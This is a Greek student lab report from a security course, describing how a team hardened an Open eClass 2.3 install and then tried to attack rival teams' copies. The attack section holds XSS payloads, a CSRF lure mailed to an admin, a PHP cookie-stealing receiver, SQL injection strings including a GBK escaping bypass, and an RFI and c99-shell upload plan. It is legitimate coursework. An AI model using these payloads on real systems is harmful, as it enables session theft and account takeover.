Project #4

ΥΣ13 ΕΑΡΙΝΟ 2016

Νικόλαος Ματθιουδάκης

1115201200104

Αλέξανδρος Λαποκωνσταντάκης

1115201200088

(2)

DEFENCE

Dropbox - Assignments

Στο dropbox_submit.php, στη φόρμα ανταλλαγής αρχείου καθαρίστηκε το input των authors και του description επειδή τα πεδία αυτά ήταν ευάλωτα σε XSS. Τα πεδία των authors, description, comments και του title καθαρίστηκαν με τον ίδιο τρόπο και στο ανέβασμα εργασίας.Οι 3 συναρτήσεις που χρησιμοποιήθηκαν εδώ και σε κάθε άλλη περίπτωση για sanitize ενάντια στις συγκεκριμένες επιθέσεις είναι stripslashes(), mysql_real_escape_string(), htmlspecialchars().

Το ίδιο έγινε και στο dropbox_class.inc.php line 220.

Στο dropbox_class.inc.php πραγματοποιούνται κάποια queries για τη διαπίστωση αν το αρχείο που πρόκειται ν' ανεβεί υπάρχει ήδη, χρησιμοποιώντας την αδύναμη συνάρτηση addslashes, που μπορεί να παρακαμφθεί και να πραγματοποιηθεί SQL injection. Αντικαταστάθηκε με την mysql_real_escape_string.

Για τις φόρμες ανταλλαγής αρχείων και ανεβάσματος εργασιών (dropbox_submit.php, work.php) δημιουργήσαμε blacklist, όχι τόσο αποτελεσματικό όσο ένα whitelist, αλλά δε θέλαμε να μειώσουμε τη λειτουργικότητα του site, απαγορεύοντας αρχεία .php, .html, .js, .css έτσι ώστε να μην υπάρχει εκτελέσιμος κώδικας από τρίτους ανεβασμένος στην πλατφόρμα (για εκτέλεση στη συνέχεια XSS, CSRF κτλ.).

Στο dropbox_submit.php (line 206) προσθέσαμε τη γραμμή chmod($dropbox_cnf["sysPath"] . '/' . $dropbox_filename, 644), αφού το αρχείο ανέβει στη βάση, έτσι ώστε να μην υπάρχουν εκτελέσιμα αρχεία τα οποία μπορούν να καλεστούν αργότερα.

Search bars

Η μόνη ασφάλεια που χρησιμοποιείται ενάντια στο sqli για την αναζήτηση μέσα σε μάθημα (modules/search/search_incourse.php) είναι η mysql_real_escape_string, κατά τ' άλλα δημιουργείται ένα string για το query που περιέχει και κώδικα και την τιμή μεταβλητής που εκχωρήθηκε με το search, οπότε μπορεί να υπάρξει πρόβλημα με μια επίθεση που κάνει bypass αυτό το μέτρο. Ο κώδικας διαχωρίστηκε απ' τις μεταβλητές, για κάθε είδος αναζήτησης μέσα σε μάθημα (ανακοινώσεις, αντζέντα, περιγραφή μαθήματος κτλ).

Το ίδιο πρόβλημα υπήρχε και στα modules/search/search_loggedin.php modules/search/search_loggedout.php.
Μη διαχωρισμένος κώδικας/μεταβλητές για search χρησιμοποιούνταν και στο γενικό search του site, οπότε αλλάχτηκε και εκεί. Αν και οι τιμές των μεταβλητών για τις συνθήκες που χρησιμοποιούνται στη συγκεκριμένη περίτπωση δε δίνονται απευθείας απ το χρήστη κατα το search, είναι καλή πρακτική ούτως ή άλλως, για κάθε ενδεχόμενο.

Login

Στο index.php Για το query στο user table όταν δοθεί το username στο login δε χρησιμοποιείται κάποιο μέτρο προστασίας ενάντια σε SQLi, πέρα απ' το addslashes που μπορεί να παρακαμφθεί. Το αλλάξαμε, διαχωρίζοντας το mySql κώδικα και τη μεταβλητή username, έτσι ώστε να μη μπορεί να γίνει injection προσθέτοντας νέες εντολές, και κάναμε sanitize το input.

Στο password.php διορθώθηκε το ίδιο πρόβλημα κατά το query που γινόταν πάνω στα passwords, έτσι ώστε να βρεθεί αυτο που ανιστοιχεί στο user που προσπαθούσε να κάνει login.

Forum

Στο phpbb/newtopic και phpbb/reply καθαρίζουμε το input για να μην είναι δυνατόν να τρέξει XSS ή HTML events κατά τη δημιουργία νέου topic και post reply, που ήταν ευάλωτα.
Για την επιλογή να γράψεις HTML κώδικα απενεργοποιήσαμε όλες τις δυνατότητες tags (πχ <script>) εκτός απ του link, θεωρώντας ότι θα αφαιρούσε απ' τη λειτουργία για την οποία ήταν προορισμένη αν το απενεργοποιούσαμε εντελώς.
Επίσης στο phpbb/editpost.php κατά το edit του μηνύματος χρησιμοποιούνταν δύο συναρτήσεις οι οποίες επανέφεραν τη δυνατότητα να τρέξεις κάποιο script (undo_make_clickable($message), undo_htmlspecialchars($message)), αν είχε ήδη αποθηκευθεί στο forum, ακόμα κι αν το input είχε προηγουμένως καθαριστεί, οπότε τις σχολιάσαμε.

ATTACK

Τηλεσυνεργασία

Δοκιμάσαμε να τρέξουμε XSS με <script> </script> και html events <body onload="alert(2)" >body></body> στην καταχώρηση του μηνύματος χωρίς αποτέλεσμα, φαίνεται ασφαλισμένο.

Forum

Τα ίδια δοκιμάσαμε και σε όλες τις φόρμες του forum reply, topic (και στο πεδίο "θέμα") χωρίς αποτέλεσμα πάλι.

Ευάλωτο όμως ήταν και το edit που μπορεί να κάνει και ο admin σε κάθε post ενός topic. Ένα post που πραγματοποιεί XSS ή html events δεν τρέχει μέχρι να γίνει edit. Κοιτάζοντας τα url των post όταν είναι να γίνουν edit βρήκαμε τη (διαφορετική) σειρά την οποία ακολουθούν τα id των topics και των posts, όταν αποθηκευτούν στο forum. (πχ http://localhost:8008/openeclass-2.3/modules/phpbb/editpost.php?post_id=2&topic=1&forum=1 στο 1ο topic απο κάτω το 2ο post απο πάνω). Το κάθε νέο post, σε οποιοδήποτε topic κι αν γίνει παίρνει id τον αριθμό των ήδη υπαρχόντων posts + 1. Έτσι δοκιμάσαμε να κάνουμε ένα post στο forum με τον κώδικα XSS που θέλουμε να τρέξουμε και να στείλουμε το link του edit του στο mail του διαχειριστή έτσι ώστε να το κάνει trigger χωρίς τη θέλησή του (CSRF).

Για το νέο post που φτιάξαμε, που είχε αριθμό 16 στείλαμε στο mail του admin μεταμφιεσμένο το:
http://stalkers.nuclear.crypto-class.gr/openeclass-2.3/modules/phpbb/editpost.php?post_id=16&topic=1&forum=1

το οποίο θα τρεχε:
<script>document.write('')</script>

με το steal.php που βρίσκεται στο site μας να περιέχει

```
<?php
        file_put_contents("yourcookies.txt", $_GET['cookie']);
?>
```

Login

Δοκιμάσαμε sql injection στο username με απλά quotes το οποίο δε δούλεψε, λογικό αφού χρησιμοποιείται η escapeSimple συνάρτηση πάνω στο username, που κάνει skip τους ‘ χαρακτήρες. Δοκιμάστηκε και χωρίς καθόλου ‘ για να δούμε αν χρησιμοποιείται “σωστά” η mysql_real_escape_string (σε περίπτωση που χρησιμοποιείται βέβαια) καθώς πάντα υπάρχει περίπτωση να εχει παραλείψει να βάλει το όρισμα σε ‘ ‘, πχ WHERE id=$id;. Ούτε αυτό άλλαξε κάτι.

Παράδειγμα εισόδου:
1’; UPDATE user SET password=’0000’ WHERE username=’drunkadmin’;
(για τη 2η περίπτωση 1 OR 1=1)

Στη συνέχεια δοκιμάσαμε, ενεργοποιώντας το GBK charset στο browser να μπερδέψουμε αυτή τη συνάρτηση με τον ίδιο τρόπο που θ’ αντιμετώπιζε κάποιος την addslashes, χρησιμοποιώντας τους χαρακτήρες με ASCII codes 0xbf(¿) και 0x27(‘) στη σειρά, σχηματίζοντας έτσι τον invalid χαρακτήρα 0xbf27. Έτσι το slash που θα προστεθεί απ’ τη συνάρτηση ανάμεσα στα άλλα δύο σύμβολα(με κωδικό 0x5c) θα δημιουργήσει το νέο, valid πλέον, χαρακτήρα 0xbf5c27, στην προσπάθειά του να κάνει skip το ‘, και αυτόν θα ακολουθεί ένα επιπλέον ‘ που δε θα γίνει skip, χωρίς αποτέλεσμα. Δεν είμαστε σίγουροι ότι ο server υποστηρίζει GBK encoding, αλλά δοκιμάστηκε για παν ενδεχόμενο.

Παράδειγμα εισόδου:
1¿’’ ; UPDATE user SET password=¿’’0000¿’’;

Την ίδια μέθοδο προσπαθήσαμε να χρησιμοποιήσουμε και στη φόρμα του dropbox, που όντως χρησιμοποιεί addslashes για να καθαρίσει το όνομα του αρχείου που πρόκειται ν’ ανέβει και πραγματοποιεί query χωρίς άλλη προστασία αλλά πριν γίνουν τα queries το όνομα του αρχείου κωδικοποιείται (πχ σε 5777cccb6a2e.php) άρα δεν μπορεί να γίνει inject κώδικας. (Παρακάτω όπου αναφέρεται ότι δοκιμάστηκε για SQL injection εννοείται ό,τι δοκιμάστηκε και εδώ + ό,τι άλλο αναφέρεται.)

Εγγραφή Χρήστη

Το όνομα και το επώνυμο στην εγγραφή χρήστη ήταν ευάλωτο σε XSS, δοκιμάσσαμε να γραφτούμε με στοιχεία:

<script>document.write('')</script>

όμως δε δούλεψε.

Τα scripts αντί ονόματος εκτελούνταν σε κάθε link που πατούσε ο χρήστης με αυτά τα στοιχεία, και επιπλέον ακόμα και όταν ο admin πήγαινε στη Διαχείριση Πλατφόρμας, και σκεφτήκαμε να κάνουμε CSRF στέλνοντας τους μέσω mail ένα link στη συγκεκριμένη σελίδα, όμως με τα ονόματα/passwords sanitized δε θα είχε αποτέλεσμα.

Και στην "Αλλαγή του Προφίλ μου" τα στοιχεία φιλτράρονταν και δεν ήταν δυνατόν να τα αλλάξουμε εκ' των υστέρων.

Ανάκτηση Μαθήματος

Ψάχνοντας για include(συντάξεις τ' αρχεία του openeclass για τυχόν σημεία κώδικα ευάλωτα σε RFI βρήκαμε το:

C:\xampp\htdocs\openeclass-2.3\modules\course_info\restore_course.php (5 hits)
Line 109: include($_POST['restoreThis'] . '/backup.php');

Αν η λειτουργία restore μπορούσε να γίνει από απλό χρήστη, θα ήταν δυνατόν να βάλουμε δικό μας κώδικα, φτιάχνοντας ένα zip με κατα τ'άλλα σωστά αρχεία εκτός απ' το backup.php, το οποίο θα μπορούσε να περιέχει δικό μας κώδικα, πχ ένα shell c99. Χρειάζεται όμως administration access, άρα απαιτείται ή CSRF που είναι αδύνατον στην προκειμένη να'χει κάποιο αποτέλεσμα, εξαιτίας της φόρμας που πρέπει να συμπληρωθεί ύστερα, ή να μπούμε ως admins, στην οποία περίπτωση έχουμε πολυ αμεσότερους τρόπους για defacement.

Dropbox – Assignments

Βρήκαμε ότι όταν αλλάξουμε το choice στο http://localhost:8008/openeclass-2.3/modules/work/work.php?id=1&choice=edit που προσπαθεί να κάνει edit την εργασία με κάτι άσχετο, πχ http://localhost:8008/openeclass-2.3/modules/work/work.php?id=1&choice=www.google.gr ενώ είμαστε admin το site κάνει display το κωδικοποιημένο όνομα του φακέλου στο οποίο βρίσκεται το αρχείο-εργασία που έχουμε ανεβάσει. Το πρόβλημα ήταν ότι αν αναγκάζαμε τον admin να ακολουθήσει ένα τέτοιο link, μόνο αυτός θα έβλεπε το φάκελο, εμείς δε θα 'χαμε τρόπο να το μάθουμε.

Βρήκαμε όμως επίσης ότι μπαίνοντας σε μια εργασία που υπάρχει εμφανίζεται ένα url του τύπου http://localhost:8008/openeclass-2.3/modules/work/work.php?id=1
Αλλάζοντας το id σε κάτι που δεν υπάρχει, δηλαδή ένα id εργασίας που δεν έχει δημιουργηθεί, και μετά υποβάλλοντας το αρχείο-script που θέλουμε το αρχείο αυτό γίνεται upload στο φάκελο με το προηγουμένως ανύπαρκο id που επιλέξαμε, άρα μπορούσαμε να γνωρίζουμε την ακριβή θέση του αρχείου στο site, έτσι ώστε εκ' των υστέρων να το τρέξουμε, ειδικά απ' τη στιγμή που όπως φαίνεται επιτρέπονται αρχεία .php χωρίς αλλαγή στο όνομα τους, σε αντίθεση με το dropbox που προνοεί.

Το πρόβλημα ήταν ότι όταν προσπαθούσαμε να τρέξουμε κάποιο αρχείο δίνοντας τη διεύθυνσή του στο site, πχ ένα απλό .php script ή ένα shell αυτό φαινόταν να μην υπάρχει(File not found) τόσο στο δικό μας που γνωρίζαμε σίγουρα το μέρος αποθήκευσης όσο και στων αντιπάλων. Έπρεπε να βρούμε τρόπο να αποθηκεύσουμε το αρχείο που θέλουμε έξω απ' το STALKERS_COURSE, έτσι ώστε να

μπορεί να τρέξει. Η επόμενη σκέψη ήταν στο id να δόσουμε το μονοπάτι που οδηγούσε σε προηγούμενο φάκελο, πχ αν δίναμε id=../../../ το νέο αρχείο θα αποθηκευόταν στον ίδιο φάκελο με το index.php, το face του site. Δυστυχώς όμως η φόρμα είχε γίνει modify για να δέχεται μόνο integers ως id.

Δοκιμάσαμε και για SQL injection στη φόρμα submit της εργασίας η οποία είναι ευάλωτη και στον τρόπο που εκτελεί queries για να διαπιστώσει την ύπαρξη ή μη προηγούμενης εργασίας. Αλλάξαμε στο url το id σε: id=1' OR id='2 για να δούμε αν γίνεται sanitize το input. Όντως γινόταν - το δέχτηκε όλο ως id κάνοντας skip τα /, λέγοντας και πάλι πως χρειάζεται integer, άρα δεν ήταν δυνατό ούτε το SQLi.